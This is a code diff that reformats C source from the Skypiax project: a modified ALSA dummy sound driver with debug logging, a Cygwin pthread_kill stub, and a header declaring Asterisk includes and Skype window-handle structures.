|
||||
.periods_max = USE_PERIODS_MAX,
|
||||
.fifo_size = 0,
|
||||
static struct snd_pcm_hardware snd_card_dummy_capture = {
|
||||
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
|
||||
.formats = USE_FORMATS,
|
||||
.rates = USE_RATE,
|
||||
.rate_min = USE_RATE_MIN,
|
||||
.rate_max = USE_RATE_MAX,
|
||||
.channels_min = USE_CHANNELS_MIN,
|
||||
.channels_max = USE_CHANNELS_MAX,
|
||||
.buffer_bytes_max = MAX_BUFFER_SIZE,
|
||||
.period_bytes_min = 64,
|
||||
.period_bytes_max = MAX_PERIOD_SIZE,
|
||||
.periods_min = USE_PERIODS_MIN,
|
||||
.periods_max = USE_PERIODS_MAX,
|
||||
.fifo_size = 0,
|
||||
};
|
||||
|
||||
static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
|
||||
{
|
||||
int i;
|
||||
int i;
|
||||
//int found=0;
|
||||
|
||||
//printk("snd_card_dummy_runtime_free giova 1 giovaindex=%d dpcm=%p runtime=%p\n", giovaindex, runtime->private_data, runtime);
|
||||
spin_lock_bh(&giovalock);
|
||||
|
||||
for(i=0; i < giovaindex; i++) {
|
||||
for (i = 0; i < giovaindex; i++) {
|
||||
|
||||
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
|
||||
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
|
||||
}
|
||||
//if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
|
||||
if ((giovadpcms[i].dpcm == runtime->private_data)) {
|
||||
//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
|
||||
//giovadpcms[i].dpcm = NULL;
|
||||
//giovadpcms[i].substream = NULL;
|
||||
giovadpcms[i].started = 0;
|
||||
//break;
|
||||
} else {
|
||||
//printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
|
||||
}
|
||||
}
|
||||
//if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
|
||||
if((giovadpcms[i].dpcm == runtime->private_data)){
|
||||
//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
|
||||
//giovadpcms[i].dpcm = NULL;
|
||||
//giovadpcms[i].substream = NULL;
|
||||
giovadpcms[i].started = 0;
|
||||
//break;
|
||||
} else {
|
||||
//printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
|
||||
}
|
||||
}
|
||||
|
||||
spin_unlock_bh(&giovalock);
|
||||
kfree(runtime->private_data);
|
||||
}
|
||||
|
||||
static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream,
|
||||
struct snd_pcm_hw_params *hw_params)
|
||||
static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params)
|
||||
{
|
||||
return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
|
||||
}
|
||||
@@ -450,13 +443,13 @@ static struct snd_dummy_pcm *new_pcm_stream(struct snd_pcm_substream *substream)
|
||||
{
|
||||
struct snd_dummy_pcm *dpcm;
|
||||
int i;
|
||||
int found=0;
|
||||
int found = 0;
|
||||
|
||||
//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
|
||||
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
|
||||
dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
|
||||
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
|
||||
if (! dpcm){
|
||||
if (!dpcm) {
|
||||
//spin_unlock_bh(&giovalock);
|
||||
printk("giova, %s:%d, giovaindex=%d NO MEMORY!!!!\n", __FILE__, __LINE__, giovaindex);
|
||||
return dpcm;
|
||||
@@ -470,49 +463,48 @@ static struct snd_dummy_pcm *new_pcm_stream(struct snd_pcm_substream *substream)
|
||||
|
||||
spin_lock_bh(&giovalock);
|
||||
//printk("giova 1 giovaindex=%d dpcm=%p substream=%p sizeof=%lu\n", giovaindex, dpcm, substream, sizeof(*dpcm));
|
||||
for(i=0; i < giovaindex; i++) {
|
||||
for (i = 0; i < giovaindex; i++) {
|
||||
|
||||
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
//if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm))
|
||||
if((giovadpcms[i].substream == substream)){
|
||||
found=1;
|
||||
if ((giovadpcms[i].substream == substream)) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if(!found){
|
||||
if (!found) {
|
||||
|
||||
giovadpcms[giovaindex].substream=substream;
|
||||
giovadpcms[giovaindex].substream = substream;
|
||||
giovaindex++;
|
||||
//printk("giova 2 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
|
||||
}
|
||||
|
||||
|
||||
|
||||
found =0;
|
||||
for(i=0; i < giovaindex; i++) {
|
||||
found = 0;
|
||||
for (i = 0; i < giovaindex; i++) {
|
||||
|
||||
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
if(giovadpcms[i].substream == substream){
|
||||
giovadpcms[i].dpcm=dpcm;
|
||||
giovadpcms[i].started=0;
|
||||
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
|
||||
}
|
||||
if (giovadpcms[i].substream == substream) {
|
||||
giovadpcms[i].dpcm = dpcm;
|
||||
giovadpcms[i].started = 0;
|
||||
found = 1;
|
||||
//printk("giova 3 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
spin_unlock_bh(&giovalock);
|
||||
if(!found) {
|
||||
if (!found) {
|
||||
printk("skypiax giovaindex=%d NOT found????\n", giovaindex);
|
||||
}
|
||||
|
||||
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
|
||||
return dpcm;
|
||||
}
|
||||
@@ -535,7 +527,7 @@ static int snd_card_dummy_playback_open(struct snd_pcm_substream *substream)
|
||||
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
|
||||
}
|
||||
if (substream->pcm->device & 2)
|
||||
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
|
||||
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
|
||||
err = add_playback_constraints(runtime);
|
||||
if (err < 0)
|
||||
return err;
|
||||
@@ -561,7 +553,7 @@ static int snd_card_dummy_capture_open(struct snd_pcm_substream *substream)
|
||||
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
|
||||
}
|
||||
if (substream->pcm->device & 2)
|
||||
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
|
||||
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
|
||||
err = add_capture_constraints(runtime);
|
||||
if (err < 0)
|
||||
return err;
|
||||
@@ -584,35 +576,33 @@ static int snd_card_dummy_capture_close(struct snd_pcm_substream *substream)
|
||||
}
|
||||
|
||||
static struct snd_pcm_ops snd_card_dummy_playback_ops = {
|
||||
.open = snd_card_dummy_playback_open,
|
||||
.close = snd_card_dummy_playback_close,
|
||||
.ioctl = snd_pcm_lib_ioctl,
|
||||
.hw_params = snd_card_dummy_hw_params,
|
||||
.hw_free = snd_card_dummy_hw_free,
|
||||
.prepare = snd_card_dummy_pcm_prepare,
|
||||
.trigger = snd_card_dummy_pcm_trigger,
|
||||
.pointer = snd_card_dummy_pcm_pointer,
|
||||
.open = snd_card_dummy_playback_open,
|
||||
.close = snd_card_dummy_playback_close,
|
||||
.ioctl = snd_pcm_lib_ioctl,
|
||||
.hw_params = snd_card_dummy_hw_params,
|
||||
.hw_free = snd_card_dummy_hw_free,
|
||||
.prepare = snd_card_dummy_pcm_prepare,
|
||||
.trigger = snd_card_dummy_pcm_trigger,
|
||||
.pointer = snd_card_dummy_pcm_pointer,
|
||||
};
|
||||
|
||||
static struct snd_pcm_ops snd_card_dummy_capture_ops = {
|
||||
.open = snd_card_dummy_capture_open,
|
||||
.close = snd_card_dummy_capture_close,
|
||||
.ioctl = snd_pcm_lib_ioctl,
|
||||
.hw_params = snd_card_dummy_hw_params,
|
||||
.hw_free = snd_card_dummy_hw_free,
|
||||
.prepare = snd_card_dummy_pcm_prepare,
|
||||
.trigger = snd_card_dummy_pcm_trigger,
|
||||
.pointer = snd_card_dummy_pcm_pointer,
|
||||
.open = snd_card_dummy_capture_open,
|
||||
.close = snd_card_dummy_capture_close,
|
||||
.ioctl = snd_pcm_lib_ioctl,
|
||||
.hw_params = snd_card_dummy_hw_params,
|
||||
.hw_free = snd_card_dummy_hw_free,
|
||||
.prepare = snd_card_dummy_pcm_prepare,
|
||||
.trigger = snd_card_dummy_pcm_trigger,
|
||||
.pointer = snd_card_dummy_pcm_pointer,
|
||||
};
|
||||
|
||||
static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
|
||||
int substreams)
|
||||
static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device, int substreams)
|
||||
{
|
||||
struct snd_pcm *pcm;
|
||||
int err;
|
||||
|
||||
err = snd_pcm_new(dummy->card, "Dummy PCM", device,
|
||||
substreams, substreams, &pcm);
|
||||
err = snd_pcm_new(dummy->card, "Dummy PCM", device, substreams, substreams, &pcm);
|
||||
if (err < 0)
|
||||
return err;
|
||||
dummy->pcm = pcm;
|
||||
@@ -621,9 +611,7 @@ static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
|
||||
pcm->private_data = dummy;
|
||||
pcm->info_flags = 0;
|
||||
strcpy(pcm->name, "Dummy PCM");
|
||||
snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS,
|
||||
snd_dma_continuous_data(GFP_KERNEL),
|
||||
128*1024, 1024*1024);
|
||||
snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS, snd_dma_continuous_data(GFP_KERNEL), 128 * 1024, 1024 * 1024);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -637,8 +625,7 @@ static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
|
||||
.private_value = addr, \
|
||||
.tlv = { .p = db_scale_dummy } }
|
||||
|
||||
static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
|
||||
struct snd_ctl_elem_info *uinfo)
|
||||
static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo)
|
||||
{
|
||||
uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER;
|
||||
uinfo->count = 2;
|
||||
@@ -646,15 +633,14 @@ static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
|
||||
uinfo->value.integer.max = 100;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
|
||||
struct snd_ctl_elem_value *ucontrol)
|
||||
|
||||
static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
|
||||
{
|
||||
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
|
||||
int addr = kcontrol->private_value;
|
||||
//unsigned long flags;
|
||||
|
||||
if(in_irq())
|
||||
if (in_irq())
|
||||
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
|
||||
//printk("giova: volume get %d %d\n", __LINE__, addr);
|
||||
//spin_lock_irq(&dummy->mixer_lock);
|
||||
@@ -667,15 +653,14 @@ static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
|
||||
struct snd_ctl_elem_value *ucontrol)
|
||||
static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
|
||||
{
|
||||
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
|
||||
int change, addr = kcontrol->private_value;
|
||||
int left, right;
|
||||
//unsigned long flags;
|
||||
|
||||
if(in_irq())
|
||||
if (in_irq())
|
||||
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
|
||||
left = ucontrol->value.integer.value[0];
|
||||
if (left < -50)
|
||||
@@ -691,8 +676,7 @@ static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
|
||||
//spin_lock_irq(&dummy->mixer_lock);
|
||||
//spin_lock_irqsave(&dummy->mixer_lock, flags);
|
||||
spin_lock_bh(&dummy->mixer_lock);
|
||||
change = dummy->mixer_volume[addr][0] != left ||
|
||||
dummy->mixer_volume[addr][1] != right;
|
||||
change = dummy->mixer_volume[addr][0] != left || dummy->mixer_volume[addr][1] != right;
|
||||
dummy->mixer_volume[addr][0] = left;
|
||||
dummy->mixer_volume[addr][1] = right;
|
||||
//spin_unlock_irq(&dummy->mixer_lock);
|
||||
@@ -710,15 +694,14 @@ static const DECLARE_TLV_DB_SCALE(db_scale_dummy, -4500, 30, 0);
|
||||
.private_value = addr }
|
||||
|
||||
#define snd_dummy_capsrc_info snd_ctl_boolean_stereo_info
|
||||
|
||||
static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol,
|
||||
struct snd_ctl_elem_value *ucontrol)
|
||||
|
||||
static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
|
||||
{
|
||||
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
|
||||
int addr = kcontrol->private_value;
|
||||
//unsigned long flags;
|
||||
|
||||
if(in_irq())
|
||||
if (in_irq())
|
||||
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
|
||||
//spin_lock_irq(&dummy->mixer_lock);
|
||||
//spin_lock_irqsave(&dummy->mixer_lock, flags);
|
||||
@@ -739,15 +722,14 @@ static int snd_dummy_capsrc_put(struct snd_kcontrol *kcontrol, struct snd_ctl_el
|
||||
int left, right;
|
||||
//unsigned long flags;
|
||||
|
||||
if(in_irq())
|
||||
if (in_irq())
|
||||
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
|
||||
left = ucontrol->value.integer.value[0] & 1;
|
||||
right = ucontrol->value.integer.value[1] & 1;
|
||||
//spin_lock_irq(&dummy->mixer_lock);
|
||||
//spin_lock_irqsave(&dummy->mixer_lock, flags);
|
||||
spin_lock_bh(&dummy->mixer_lock);
|
||||
change = dummy->capture_source[addr][0] != left &&
|
||||
dummy->capture_source[addr][1] != right;
|
||||
change = dummy->capture_source[addr][0] != left && dummy->capture_source[addr][1] != right;
|
||||
dummy->capture_source[addr][0] = left;
|
||||
dummy->capture_source[addr][1] = right;
|
||||
//spin_unlock_irq(&dummy->mixer_lock);
|
||||
@@ -758,16 +740,16 @@ static int snd_dummy_capsrc_put(struct snd_kcontrol *kcontrol, struct snd_ctl_el
|
||||
}
|
||||
|
||||
static struct snd_kcontrol_new snd_dummy_controls[] = {
|
||||
DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
|
||||
DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
|
||||
DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
|
||||
DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
|
||||
DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
|
||||
DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
|
||||
DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
|
||||
DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
|
||||
DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
|
||||
DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
|
||||
DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
|
||||
DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
|
||||
DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
|
||||
DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
|
||||
DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
|
||||
DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
|
||||
DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
|
||||
DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
|
||||
DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
|
||||
DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
|
||||
};
|
||||
|
||||
static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
|
||||
@@ -777,11 +759,11 @@ static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
|
||||
int err;
|
||||
|
||||
//giova if (snd_BUG_ON(!dummy))
|
||||
//giova return -EINVAL;
|
||||
//giova return -EINVAL;
|
||||
spin_lock_init(&dummy->mixer_lock);
|
||||
strcpy(card->mixername, "Dummy Mixer");
|
||||
//printk("giova: new_mixer %d\n", __LINE__);
|
||||
return 0; //giova no mixer
|
||||
return 0; //giova no mixer
|
||||
|
||||
for (idx = 0; idx < ARRAY_SIZE(snd_dummy_controls); idx++) {
|
||||
err = snd_ctl_add(card, snd_ctl_new1(&snd_dummy_controls[idx], dummy));
|
||||
@@ -798,15 +780,14 @@ static int __devinit snd_dummy_probe(struct platform_device *devptr)
|
||||
int idx, err;
|
||||
int dev = devptr->id;
|
||||
|
||||
card = snd_card_new(index[dev], id[dev], THIS_MODULE,
|
||||
sizeof(struct snd_dummy));
|
||||
if (card == NULL)
|
||||
return -ENOMEM;
|
||||
card = snd_card_new(index[dev], id[dev], THIS_MODULE, sizeof(struct snd_dummy));
|
||||
if (card == NULL)
|
||||
return -ENOMEM;
|
||||
|
||||
//giova err = snd_card_create(index[dev], id[dev], THIS_MODULE,
|
||||
//giova sizeof(struct snd_dummy), &card);
|
||||
//giova sizeof(struct snd_dummy), &card);
|
||||
//giova if (err < 0)
|
||||
//giova return err;
|
||||
//giova return err;
|
||||
dummy = card->private_data;
|
||||
dummy->card = card;
|
||||
for (idx = 0; idx < MAX_PCM_DEVICES && idx < pcm_devs[dev]; idx++) {
|
||||
@@ -832,7 +813,7 @@ static int __devinit snd_dummy_probe(struct platform_device *devptr)
|
||||
platform_set_drvdata(devptr, card);
|
||||
return 0;
|
||||
}
|
||||
__nodev:
|
||||
__nodev:
|
||||
snd_card_free(card);
|
||||
return err;
|
||||
}
|
||||
@@ -856,7 +837,7 @@ static int snd_dummy_suspend(struct platform_device *pdev, pm_message_t state)
|
||||
snd_pcm_suspend_all(dummy->pcm);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static int snd_dummy_resume(struct platform_device *pdev)
|
||||
{
|
||||
struct snd_card *card = platform_get_drvdata(pdev);
|
||||
@@ -869,15 +850,14 @@ static int snd_dummy_resume(struct platform_device *pdev)
|
||||
#define SND_DUMMY_DRIVER "snd_dummy"
|
||||
|
||||
static struct platform_driver snd_dummy_driver = {
|
||||
.probe = snd_dummy_probe,
|
||||
.remove = __devexit_p(snd_dummy_remove),
|
||||
.probe = snd_dummy_probe,
|
||||
.remove = __devexit_p(snd_dummy_remove),
|
||||
#ifdef CONFIG_PM
|
||||
.suspend = snd_dummy_suspend,
|
||||
.resume = snd_dummy_resume,
|
||||
.suspend = snd_dummy_suspend,
|
||||
.resume = snd_dummy_resume,
|
||||
#endif
|
||||
.driver = {
|
||||
.name = SND_DUMMY_DRIVER
|
||||
},
|
||||
.driver = {
|
||||
.name = SND_DUMMY_DRIVER},
|
||||
};
|
||||
|
||||
static void snd_dummy_unregister_all(void)
|
||||
@@ -897,38 +877,37 @@ static int __init alsa_card_dummy_init(void)
|
||||
if (err < 0)
|
||||
return err;
|
||||
|
||||
if(!giovastarted){
|
||||
giovastarted=1;
|
||||
spin_lock_init(&giovalock);
|
||||
if (!giovastarted) {
|
||||
giovastarted = 1;
|
||||
spin_lock_init(&giovalock);
|
||||
|
||||
spin_lock_bh(&giovalock);
|
||||
for(i=0; i<MAX_PCM_SUBSTREAMS;i++){
|
||||
spin_lock_bh(&giovalock);
|
||||
for (i = 0; i < MAX_PCM_SUBSTREAMS; i++) {
|
||||
|
||||
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
|
||||
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
|
||||
printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
|
||||
}
|
||||
giovadpcms[i].substream = NULL;
|
||||
giovadpcms[i].dpcm = NULL;
|
||||
giovadpcms[i].started = 0;
|
||||
}
|
||||
init_timer(&giovatimer);
|
||||
//giovatimer.data = (unsigned long) dpcm;
|
||||
giovatimer.data = (unsigned long) &giovadpcms;
|
||||
giovatimer.function = snd_card_dummy_pcm_timer_function;
|
||||
giovatimer.expires = (HZ / 100) + jiffies;
|
||||
add_timer(&giovatimer);
|
||||
printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
|
||||
spin_unlock_bh(&giovalock);
|
||||
}
|
||||
giovadpcms[i].substream=NULL;
|
||||
giovadpcms[i].dpcm=NULL;
|
||||
giovadpcms[i].started=0;
|
||||
}
|
||||
init_timer(&giovatimer);
|
||||
//giovatimer.data = (unsigned long) dpcm;
|
||||
giovatimer.data = (unsigned long) &giovadpcms;
|
||||
giovatimer.function = snd_card_dummy_pcm_timer_function;
|
||||
giovatimer.expires = (HZ/100) + jiffies;
|
||||
add_timer(&giovatimer);
|
||||
printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
|
||||
spin_unlock_bh(&giovalock);
|
||||
}
|
||||
|
||||
|
||||
cards = 0;
|
||||
for (i = 0; i < SNDRV_CARDS; i++) {
|
||||
struct platform_device *device;
|
||||
if (! enable[i])
|
||||
if (!enable[i])
|
||||
continue;
|
||||
device = platform_device_register_simple(SND_DUMMY_DRIVER,
|
||||
i, NULL, 0);
|
||||
device = platform_device_register_simple(SND_DUMMY_DRIVER, i, NULL, 0);
|
||||
if (IS_ERR(device))
|
||||
continue;
|
||||
if (!platform_get_drvdata(device)) {
|
||||
@@ -955,4 +934,4 @@ static void __exit alsa_card_dummy_exit(void)
|
||||
}
|
||||
|
||||
module_init(alsa_card_dummy_init)
|
||||
module_exit(alsa_card_dummy_exit)
|
||||
module_exit(alsa_card_dummy_exit)
|
||||
File diff suppressed because it is too large.
Load diff
@@ -7,11 +7,11 @@ int cyg_no_pthreadkill(int thread, int sig);
|
||||
int cyg_no_pthreadkill(int thread, int sig)
|
||||
{
|
||||
#ifdef PRINTMSGCYG
|
||||
if (option_debug) {
|
||||
printf
|
||||
("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
|
||||
(unsigned long int) thread, sig);
|
||||
}
|
||||
if (option_debug) {
|
||||
printf
|
||||
("\n\nHere there would have been a pthread_kill() on thread [%-7lx], with sig=%d, but it has been substituted by this printf in file cyg_no_pthread_kill.c because CYGWIN does not support sending a signal to a one only thread :-(\n\n",
|
||||
(unsigned long int) thread, sig);
|
||||
}
|
||||
#endif // PRINTMSGCYG
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
@@ -6,7 +6,7 @@
|
||||
#define SKYPIAX_SVN_VERSION "????NO_REVISION???"
|
||||
#endif
|
||||
|
||||
#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
|
||||
#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
|
||||
/* the following #defs are for LINUX */
|
||||
#ifndef __CYGWIN__
|
||||
#ifndef ASTERISK_VERSION_1_6
|
||||
@@ -40,7 +40,7 @@
|
||||
|
||||
/* INCLUDES */
|
||||
#ifdef ASTERISK_VERSION_1_6
|
||||
#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
|
||||
#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
|
||||
#endif /* ASTERISK_VERSION_1_6 */
|
||||
#include <unistd.h>
|
||||
#include <termios.h>
|
||||
@@ -102,10 +102,10 @@
|
||||
#warning Please review Skypiax AST_DIGIT_ANYDIG
|
||||
#endif
|
||||
#ifndef _ASTERISK_H
|
||||
#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
|
||||
#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
|
||||
extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
|
||||
int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
|
||||
void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
|
||||
int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
|
||||
void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
|
||||
#endif
|
||||
|
||||
/* DEFINITIONS */
|
||||
@@ -118,7 +118,7 @@ void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some a
|
||||
* be representable in 16 bits to avoid overflows.
|
||||
*/
|
||||
#define BOOST_SCALE (1<<9)
|
||||
#define BOOST_MAX 40 /* slightly less than 7 bits */
|
||||
#define BOOST_MAX 40 /* slightly less than 7 bits */
|
||||
/* call flow from the device */
|
||||
#define CALLFLOW_CALL_IDLE AST_STATE_DOWN
|
||||
#define CALLFLOW_INCOMING_RING AST_STATE_RING
|
||||
@@ -199,38 +199,38 @@ void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some a
|
||||
*/
|
||||
#ifdef WANT_SKYPE_X11
|
||||
struct AsteriskHandles {
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int fdesc[2];
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int fdesc[2];
|
||||
};
|
||||
#else /* WANT_SKYPE_X11 */
|
||||
struct AsteriskHandles {
|
||||
HWND win32_hInit_MainWindowHandle;
|
||||
HWND win32_hGlobal_SkypeAPIWindowHandle;
|
||||
int fdesc[2];
|
||||
HWND win32_hInit_MainWindowHandle;
|
||||
HWND win32_hGlobal_SkypeAPIWindowHandle;
|
||||
int fdesc[2];
|
||||
};
|
||||
#endif /* WANT_SKYPE_X11 */
|
||||
|
||||
#ifndef WIN32
|
||||
struct SkypiaxHandles {
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
Window skype_win;
|
||||
Display *disp;
|
||||
Window win;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
};
|
||||
#else //WIN32
|
||||
|
||||
struct SkypiaxHandles {
|
||||
HWND win32_hInit_MainWindowHandle;
|
||||
HWND win32_hGlobal_SkypeAPIWindowHandle;
|
||||
HINSTANCE win32_hInit_ProcessHandle;
|
||||
char win32_acInit_WindowClassName[128];
|
||||
UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
|
||||
UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
|
||||
int api_connected;
|
||||
int fdesc[2];
|
||||
HWND win32_hInit_MainWindowHandle;
|
||||
